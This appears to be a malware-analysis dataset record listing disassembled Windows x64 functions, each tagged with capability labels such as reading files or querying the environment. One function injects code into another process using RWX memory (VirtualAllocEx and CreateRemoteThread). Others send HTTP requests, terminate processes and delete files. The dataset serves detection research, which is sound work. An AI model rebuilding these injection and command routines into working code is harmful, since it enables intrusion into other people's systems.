joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140019d50
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
call fcn.140014150
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140019ed1
mov rcx, qword [rsp + 0x58]
call fcn.1400140c0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x28], 0
je 0x140019eb5
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
lea rax, [0x140019d30]
lea rcx, [0x140019cf0]
sub rax, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140019eb5
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x44]
mov r9d, eax
lea r8, [0x140019cf0]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140014d30
movzx eax, al
test eax, eax
je 0x140019e99
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x140019e99
mov byte [rsp + 0x41], 1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
xor edx, edx
mov rcx, qword [rsp + 0x80]
call fcn.14001b3c0
movzx eax, byte [rsp + 0x40]
add rsp, 0x98
ret

Function at 0x14001c07c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001c0c6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001c0c6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001c0c6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001c0c6
cmp dword [rcx + 0x84], 0xe
jbe 0x14001c0c6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001c0c8
xor al, al
add rsp, 0x28
ret
Function at 0x140028f44
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x14004c4b0]
mov rbp, rcx
call fcn.140034b68
xor edi, edi
test rax, rax
je 0x14002902a
mov ebx, edi
call fcn.14002aa30
mov r14d, dword [rax]
call fcn.14002aa30
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.140034ab4
mov rsi, rax
test rax, rax
je 0x140028fbb
call fcn.14002aa30
mov dword [rax], r14d
jmp 0x140028fe5
call fcn.14002aa30
cmp dword [rax], 0x22
jne 0x140029022
call fcn.14002aa30
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.140034ab4
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140029022
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140028fe9
cmp rax, 3
je 0x140029004
mov rcx, rsi
call fcn.140028ea0
test al, al
je 0x140029015
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x140029015
mov dil, 1
mov rcx, rbx
call fcn.140022948
mov al, dil
jmp 0x14002902c
mov rcx, rbx
call fcn.140022948
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14001b9d0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x14002dc74
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002da70
Function at 0x140039b84
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140039bb4
xor eax, eax
jmp 0x140039c77
mov rbp, rbx
cmp word [rax], si
je 0x140039bd9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140039bc0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140039bbc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140031a54
movsxd r14, eax
test eax, eax
jne 0x140039c17
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140039bad
mov rcx, r14
call fcn.1400319f4
mov rdi, rax
test rax, rax
jne 0x140039c30
xor ecx, ecx
call fcn.1400319b8
jmp 0x140039c0c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140031a54
test eax, eax
jne 0x140039c61
mov rcx, rdi
call fcn.1400319b8
jmp 0x140039c6b
xor ecx, ecx
call fcn.1400319b8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140039c94
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140039d1b
mov rsi, rbx
cmp word [rax], bp
je 0x140039cda
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140039cc4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140039cc0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400319f4
mov rdi, rax
test rax, rax
je 0x140039d08
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14001c450
mov rbp, rdi
xor ecx, ecx
call fcn.1400319b8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003cc7c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140031384
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14003cd1d
cmp ebx, dword [rsp + 0x30]
je 0x14003cd16
test esi, esi
je 0x14003cd16
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14003ccf1
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14003ccfe
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14003ccdb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14003cd02
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14003cd1f
mov eax, 1
jmp 0x14003cd1f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14003e768
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003e77e
mov al, 1
jmp 0x14003e7de
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003e78f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003e7dc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140035b24
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003e7dc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003e7dc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003e7dc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003e7de
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14003f2d0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x14003f31a
call fcn.14002aa10
mov dword [rax], 0xf
call fcn.14002aa30
mov dword [rax], 0xd
call fcn.140021ed4
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x14003f325
lea eax, [rbx + 1]
jmp 0x14003f307
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x14003f305
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x14003f307
Function at 0x14004161c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140022634
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400416a6
cmp byte [rbp - 0x21], r15b
je 0x1400416a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400416dc
call fcn.140034ef4
test eax, eax
jne 0x1400416c8
cmp byte [rbp - 0x21], r15b
je 0x1400416c0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400416dc
cmp byte [rbp - 0x21], r15b
je 0x1400416d9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400287ec
test eax, eax
jne 0x14004177c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140022634
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14004171b
cmp byte [rbp - 0x21], r15b
je 0x140041750
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140041750
call fcn.140034ef4
test eax, eax
jne 0x14004173c
cmp byte [rbp - 0x21], r15b
je 0x140041735
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140041750
cmp byte [rbp - 0x21], r15b
je 0x14004174d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400287ec
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14004177c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14004177f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14004178d
mov rcx, rdi
call fcn.1400319b8
cmp byte [rbp + 0x3f], r15b
je 0x14004179c
mov rcx, qword [rbp + 0x27]
call fcn.1400319b8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140042494
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400a6df0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400424eb
cmp word [rdx], r13w
jne 0x1400424eb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400424f0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140042615
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140042636
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140042529
mov rdx, r9
mov word [rbx], cx
jmp 0x140042550
cmp r9, r8
jae 0x140042560
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14004250a
jmp 0x140042615
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14004260a
cmp dword [rsp + 0x80], esi
je 0x14004260a
lea r8, [0x1400a6df0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400425e2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400425b2
mov word [rbx], r13w
jmp 0x140042612
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400425bf
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140042612
cmp word [rsp + 0x70], r13w
jne 0x1400425ef
cmp rbx, r14
je 0x1400425ac
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140042384
cmp word [rsp + 0x70], r13w
je 0x140042615
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400a6df0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14004260f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140042615
Function at 0x1800017e8
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
and dword [rbp + 0x20], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x20]
and dword [rsp + 0x48], 0
mov r9d, 0x220
and dword [rsp + 0x40], 0
mov r8d, 0x20
and dword [rsp + 0x38], 0
mov dl, 2
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov word [rbp + 0x24], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rbp + 0x18], eax
test eax, eax
je 0x180001865
mov rdx, qword [rbp + 0x28]
lea r8, [rbp + 0x18]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
neg eax
sbb ecx, ecx
and dword [rbp + 0x18], ecx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp + 0x18]
add rsp, 0x60
pop rbp
ret

Function at 0x180002ef0
Capabilities:
Connect to http server
Create http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x40
mov rbx, r8
mov dword [rax + 0x20], 0x3a980
mov edi, edx
mov rsi, rcx
call fcn.18000782c
mov r14d, 1
mov ecx, r14d
call fcn.1800059b8
and al, 8
lea ecx, [r14 + 0x31]
neg al
sbb r9d, r9d
and r9d, 0x803000
add r9d, 0x84400200
mov dword [0x180017124], r9d
call fcn.1800059b8
cmp ax, r14w
jne 0x180002f5a
bts dword [0x180017124], 0x13
mov ecx, 0x23
call fcn.1800059b8
movzx ecx, ax
test ecx, ecx
je 0x180002f92
sub ecx, r14d
je 0x180002f8a
sub ecx, r14d
je 0x180002f83
cmp ecx, 2
je 0x180002f92
mov rax, qword [0x180017128]
jmp 0x180002fbc
xor r8d, r8d
xor edx, edx
jmp 0x180002fa4
xor r8d, r8d
mov edx, r14d
jmp 0x180002fa4
mov ecx, 0x20
call fcn.1800059a8
mov r8, rax
mov edx, 3
and dword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x180017128], rax
mov ebx, 4
lea r8, [rsp + 0x68]
mov r9d, ebx
mov rcx, rax
lea edx, [rbx + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x180017128]
lea r8, [rsp + 0x68]
mov r9d, ebx
lea edx, [rbx + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [0x180017140]
xor r9d, r9d
mov rcx, qword [0x180017128]
movzx r8d, di
mov qword [rsp + 0x38], rax
mov rdx, rsi
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [rbx + 0x1f]
mov qword [0x180017130], rax
call fcn.1800059b8
cmp ax, bx
jne 0x18000308b
lea edi, [rbx + 0x1d]
mov ecx, edi
call fcn.180005998
mov ecx, edi
mov ebx, eax
call fcn.1800059a8
mov rcx, qword [0x180017130]
lea edx, [rdi + 0xa]
mov r8, rax
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov edi, 0x22
mov ecx, edi
call fcn.180005998
mov ecx, edi
mov ebx, eax
call fcn.1800059a8
mov rcx, qword [0x180017130]
lea edx, [rdi + 0xa]
mov r8, rax
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.180007848
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x1800030a8
Capabilities:
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x410]
sub rsp, 0x510
and qword [rbp - 0x78], 0
lea rax, [0x1800107e0]
mov rbx, rcx
mov qword [rbp - 0x80], rax
mov edi, 0x400
lea rcx, [rbp + 0x10]
mov r8d, edi
xor edx, edx
call sub.msvcrt.dll_memset
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x80
call sub.msvcrt.dll_memset
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x40]
call sub.msvcrt.dll_memset
mov edx, dword [0x180017120]
test edx, edx
je 0x1800032a9
lea rcx, [rsp + 0x40]
call fcn.180006838
mov rcx, qword [rsp + 0x50]
lea r8, [0x180010760]
mov r9, rbx
mov edx, edi
call fcn.1800018d0
mov rcx, qword [0x1800180c8]
mov rax, qword [rcx]
call qword [rax + 0x18]
lea r8, [0x1800107e4]
mov edx, 0x80
mov r9d, eax
lea rcx, [rbp - 0x70]
call fcn.1800018d0
lea rcx, [rbp - 0x70]
call sub.msvcrt.dll_strlen
mov ecx, ntohs
mov rbx, rax
call fcn.1800059a8
mov edx, dword [0x180017120]
lea r8, [rbp - 0x70]
mov r9, qword [0x180017138]
mov rcx, rax
mov dword [rsp + 0x28], edx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x20], r9
mov r9d, ebx
call fcn.18000626c
mov rcx, qword [rsp + 0x48]
call sub.msvcrt.dll_strlen
mov r9, qword [rsp + 0x50]
mov edx, edi
lea rcx, [rbp + 0x10]
test rax, rax
jne 0x1800031c4
lea r8, [0x180010760]
call fcn.1800018d0
jmp 0x1800031da
mov rax, qword [rsp + 0x48]
lea r8, [0x1800107e8]
mov qword [rsp + 0x20], rax
call fcn.1800018d0
call fcn.18000782c
xor ebx, ebx
mov ecx, 0x1b
call fcn.1800059a8
mov rcx, qword [0x180017130]
lea r8, [rbp + 0x10]
mov rdx, rax
xor r9d, r9d
mov rax, qword [0x180017140]
mov qword [rsp + 0x38], rax
mov eax, dword [0x180017124]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.180002dc0
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_strlen
mov ecx, dword [rsp + 0x60]
mov r8, rax
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x20], ecx
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.1800033c0
mov rcx, rdi
test eax, eax
jne 0x180003287
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x1800031e1
jmp 0x18000328d
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x180017120]
lea rcx, [rsp + 0x40]
call fcn.18000682c
and dword [0x180017120], 0
call fcn.180007848
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x1800033c0
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
mov dword [rax + 0x10], 0x100
lea r9, [rax + 0x10]
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x180003403
lea rcx, [rsp + 0x30]
call sub.msvcrt.dll_atoi
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret
Function at 0x180003948
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180003960
Capabilities:
Delete directory
Delete file

Disassembly:
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180005a80
mov edx, 0x4000
lea rcx, [rsp + 0x20]
call fcn.180005bdc
mov rcx, rax
mov rbx, rax
call fcn.180003948
mov rcx, rbx
test eax, eax
je 0x1800039ad
lea rdx, [0x1800037fc]
call fcn.180006a94
mov rcx, rbx
call sub.msvcrt.dll__rmdir
jmp 0x1800039b2
call sub.msvcrt.dll_remove
mov rcx, rbx
call fcn.18000847a
add rsp, 0x40
pop rbx
ret
Function at 0x180003c94
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180005a80
mov edx, 0x4000
lea rcx, [rsp + 0x20]
call fcn.180005bdc
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll__mkdir
mov rcx, rbx
call fcn.18000847a
add rsp, 0x40
pop rbx
ret

Function at 0x180004134
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov qword [r11 - 0x20], rax
mov rdx, rcx
mov qword [r11 - 0x18], rax
lea rcx, [r11 - 0x28]
call fcn.180005a80
lea rcx, [rsp + 0x20]
call fcn.180005a90
xor edx, edx
mov r8d, eax
mov edi, eax
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000418f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800041a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.180002b14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret